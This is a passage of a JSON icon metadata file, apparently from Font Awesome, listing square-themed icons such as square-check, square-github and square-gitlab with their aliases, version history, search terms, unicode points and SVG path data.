        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 160c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4H120c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 160c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4H120c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z"
      },
      "regular": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80zM0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96zm224 64c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4l-208 0c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16l0 320c0 8.8 7.2 16 16 16l320 0c8.8 0 16-7.2 16-16l0-320c0-8.8-7.2-16-16-16L64 80zM0 96C0 60.7 28.7 32 64 32l320 0c35.3 0 64 28.7 64 64l0 320c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64L0 96zm224 64c6.7 0 13 2.8 17.6 7.7l104 112c6.5 7 8.2 17.2 4.4 25.9s-12.5 14.4-22 14.4l-208 0c-9.5 0-18.2-5.7-22-14.4s-2.1-18.9 4.4-25.9l104-112c4.5-4.9 10.9-7.7 17.6-7.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-check": {
    "aliases": {
      "names": ["check-square"],
      "unicodes": {
        "composite": ["2611", "2705", "f046"],
        "secondary": ["10f14a"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "box",
        "button",
        "check",
        "check box with check",
        "check mark button",
        "checkmark",
        "confirm",
        "correct",
        "done",
        "mark",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes",
        "✓"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f14a",
    "label": "Square Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      },
      "regular": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM337 209L209 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L303 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-dribbble": {
    "aliases": {
      "names": ["dribbble-square"]
    },
    "changes": ["5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f397",
    "label": "Dribbble Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z"
      }
    },
    "free": ["brands"]
  },
  "square-envelope": {
    "aliases": {
      "names": ["envelope-square"],
      "unicodes": {
        "secondary": ["10f199"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "e-mail",
        "email",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f199",
    "label": "Square Envelope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM218 271.7L64.2 172.4C66 156.4 79.5 144 96 144H352c16.5 0 30 12.4 31.8 28.4L230 271.7c-1.8 1.2-3.9 1.8-6 1.8s-4.2-.6-6-1.8zm29.4 26.9L384 210.4V336c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V210.4l136.6 88.2c7 4.5 15.1 6.9 23.4 6.9s16.4-2.4 23.4-6.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM218 271.7L64.2 172.4C66 156.4 79.5 144 96 144H352c16.5 0 30 12.4 31.8 28.4L230 271.7c-1.8 1.2-3.9 1.8-6 1.8s-4.2-.6-6-1.8zm29.4 26.9L384 210.4V336c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V210.4l136.6 88.2c7 4.5 15.1 6.9 23.4 6.9s16.4-2.4 23.4-6.9z"
      }
    },
    "free": ["solid"]
  },
  "square-facebook": {
    "aliases": {
      "names": ["facebook-square"]
    },
    "changes": ["1.0.0", "5.0.0", "5.8.2", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["social network"]
    },
    "styles": ["brands"],
    "unicode": "f082",
    "label": "Facebook Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z"
      }
    },
    "free": ["brands"]
  },
  "square-font-awesome": {
    "changes": ["5.0.0", "5.0.1", "6.0.0-beta1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5ad",
    "label": "Font Awesome in Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384.5,32.5h-320c-35.3,0-64,28.7-64,64v320c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64v-320 C448.5,61.2,419.8,32.5,384.5,32.5z M336.5,312.5c-31.6,11.2-41.2,16-59.8,16c-31.4,0-43.2-16-74.6-16c-10.2,0-18.2,1.6-25.6,4v-32 c7.4-2.2,15.4-4,25.6-4c31.2,0,43.2,16,74.6,16c10.2,0,17.8-1.4,27.8-4.6v-96c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.2-16-74.6-16 c-25.4,0-37.4,10.4-57.6,14.4v153.6c0,8.8-7.2,16-16,16c-8.8,0-16-7.2-16-16v-192c0-8.8,7.2-16,16-16c8.8,0,16,7.2,16,16v6.4 c20.2-4,32.2-14.4,57.6-14.4c31.2,0,43.2,16,74.6,16c18.6,0,28.2-4.8,59.8-16V312.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384.5,32.5h-320c-35.3,0-64,28.7-64,64v320c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64v-320 C448.5,61.2,419.8,32.5,384.5,32.5z M336.5,312.5c-31.6,11.2-41.2,16-59.8,16c-31.4,0-43.2-16-74.6-16c-10.2,0-18.2,1.6-25.6,4v-32 c7.4-2.2,15.4-4,25.6-4c31.2,0,43.2,16,74.6,16c10.2,0,17.8-1.4,27.8-4.6v-96c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.2-16-74.6-16 c-25.4,0-37.4,10.4-57.6,14.4v153.6c0,8.8-7.2,16-16,16c-8.8,0-16-7.2-16-16v-192c0-8.8,7.2-16,16-16c8.8,0,16,7.2,16,16v6.4 c20.2-4,32.2-14.4,57.6-14.4c31.2,0,43.2,16,74.6,16c18.6,0,28.2-4.8,59.8-16V312.5z"
      }
    },
    "free": ["brands"]
  },
  "square-font-awesome-stroke": {
    "aliases": {
      "names": ["font-awesome-alt"]
    },
    "changes": ["5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f35c",
    "label": "Font Awesome in Square with Stroke Outline",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201.6,152c-25.4,0-37.4,10.4-57.6,14.4V160c0-8.8-7.2-16-16-16s-16,7.2-16,16v192c0,0.8,0.1,1.6,0.2,2.4 c0.1,0.4,0.1,0.8,0.2,1.2c1.6,7.1,8,12.4,15.6,12.4s14-5.3,15.6-12.4c0.1-0.4,0.2-0.8,0.2-1.2c0.1-0.8,0.2-1.6,0.2-2.4V198.4 c4-0.8,7.7-1.8,11.2-3c14.3-4.7,26-11.4,46.4-11.4c31.4,0,43.2,16,74.6,16c8.9,0,15.9-1.1,24.2-3.5c1.2-0.3,2.4-0.7,3.6-1.1v96 c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.4-16-74.6-16c-10.2,0-18.2,1.8-25.6,4v32c7.4-2.4,15.4-4,25.6-4c31.4,0,43.2,16,74.6,16 c18.6,0,28.2-4.8,59.8-16V152c-31.6,11.2-41.2,16-59.8,16C244.8,168,232.8,152,201.6,152z M384,32H64C28.7,32,0,60.7,0,96v320 c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64V96C448,60.7,419.3,32,384,32z M416,416c0,17.6-14.4,32-32,32H64 c-17.6,0-32-14.4-32-32V96c0-17.6,14.4-32,32-32h320c17.6,0,32,14.4,32,32V416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201.6,152c-25.4,0-37.4,10.4-57.6,14.4V160c0-8.8-7.2-16-16-16s-16,7.2-16,16v192c0,0.8,0.1,1.6,0.2,2.4 c0.1,0.4,0.1,0.8,0.2,1.2c1.6,7.1,8,12.4,15.6,12.4s14-5.3,15.6-12.4c0.1-0.4,0.2-0.8,0.2-1.2c0.1-0.8,0.2-1.6,0.2-2.4V198.4 c4-0.8,7.7-1.8,11.2-3c14.3-4.7,26-11.4,46.4-11.4c31.4,0,43.2,16,74.6,16c8.9,0,15.9-1.1,24.2-3.5c1.2-0.3,2.4-0.7,3.6-1.1v96 c-10,3.2-17.6,4.6-27.8,4.6c-31.4,0-43.4-16-74.6-16c-10.2,0-18.2,1.8-25.6,4v32c7.4-2.4,15.4-4,25.6-4c31.4,0,43.2,16,74.6,16 c18.6,0,28.2-4.8,59.8-16V152c-31.6,11.2-41.2,16-59.8,16C244.8,168,232.8,152,201.6,152z M384,32H64C28.7,32,0,60.7,0,96v320 c0,35.3,28.7,64,64,64h320c35.3,0,64-28.7,64-64V96C448,60.7,419.3,32,384,32z M416,416c0,17.6-14.4,32-32,32H64 c-17.6,0-32-14.4-32-32V96c0-17.6,14.4-32,32-32h320c17.6,0,32,14.4,32,32V416z"
      }
    },
    "free": ["brands"]
  },
  "square-full": {
    "aliases": {
      "unicodes": {
        "composite": [
          "1f7e5",
          "1f7e6",
          "1f7e7",
          "1f7e8",
          "1f7e9",
          "1f7ea",
          "1f7eb",
          "2b1b",
          "2b1c"
        ],
        "secondary": ["10f45c"]
      }
    },
    "changes": [
      "5.0.5",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "black large square",
        "block",
        "blue",
        "blue square",
        "box",
        "brown",
        "brown square",
        "geometric",
        "green",
        "green square",
        "orange",
        "orange square",
        "purple",
        "purple square",
        "red",
        "red square",
        "shape",
        "square",
        "white large square",
        "yellow",
        "yellow square"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f45c",
    "label": "Square Full",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 0H512V512H0V0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 0H512V512H0V0z"
      },
      "regular": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 48V464H48V48H464zM48 0H0V48 464v48H48 464h48V464 48 0H464 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 48V464H48V48H464zM48 0H0V48 464v48H48 464h48V464 48 0H464 48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-git": {
    "aliases": {
      "names": ["git-square"]
    },
    "changes": ["4.1.0", "5.0.0", "5.8.2", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d2",
    "label": "Git Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z"
      }
    },
    "free": ["brands"]
  },
  "square-github": {
    "aliases": {
      "names": ["github-square"]
    },
    "changes": ["1.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["octocat"]
    },
    "styles": ["brands"],
    "unicode": "f092",
    "label": "GitHub Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z"
      }
    },
    "free": ["brands"]
  },
  "square-gitlab": {
    "aliases": {
      "names": ["gitlab-square"]
    },
    "changes": ["6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5ae",
    "label": "Square Gitlab",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 32H400C426.5 32 448 53.5 448 80V432C448 458.5 426.5 480 400 480H48C21.5 480 0 458.5 0 432V80C0 53.5 21.5 32 48 32zM382.1 224.9L337.5 108.5C336.6 106.2 334.9 104.2 332.9 102.9C331.3 101.9 329.5 101.3 327.7 101.1C325.9 100.9 324 101.2 322.3 101.8C320.6 102.5 319 103.5 317.8 104.9C316.6 106.3 315.7 107.9 315.2 109.7L285 201.9H162.1L132.9 109.7C132.4 107.9 131.4 106.3 130.2 104.9C128.1 103.6 127.4 102.5 125.7 101.9C123.1 101.2 122.1 100.1 120.3 101.1C118.5 101.3 116.7 101.9 115.1 102.9C113.1 104.2 111.5 106.2 110.6 108.5L65.94 224.9L65.47 226.1C59.05 242.9 58.26 261.3 63.22 278.6C68.18 295.9 78.62 311.1 92.97 321.9L93.14 322L93.52 322.3L161.4 373.2L215.6 414.1C217.1 415.1 220.9 416.9 223.9 